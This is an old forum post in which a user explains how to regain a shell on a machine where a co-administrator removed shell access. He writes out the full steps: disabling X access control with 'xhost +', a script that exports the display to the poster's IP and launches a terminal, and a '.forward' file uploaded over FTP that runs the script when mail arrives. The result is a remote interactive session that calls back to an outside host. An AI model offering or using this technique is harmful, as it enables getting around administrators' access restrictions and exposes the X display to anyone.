View Single Post
Old 10-21-2001, 09:15 PM   #37
dave
Guest
 
Posts: n/a
okay. you didn't get it. so i'll tell you what i did.

$ xhost +

then...

make a shell script -

#!/bin/bash
export DISPLAY=YOUR_IP_HERE
/usr/bin/gnome-terminal # or whatever term you want to use


then...

$ echo "| /path/to/above/script.sh" > junk

ftp MACHINE_WITH_NO_SHELL
login: your account
password:

put script.sh script.sh
put junk .forward

then, email your account. the .forward executes the script, which exports the display to your machine and gives you a shell. took me a little while to come up with this one, but it's definitely going on the books as "good way to get into your machine that your tard friend & co-admin killed all shell access to"
  Reply With Quote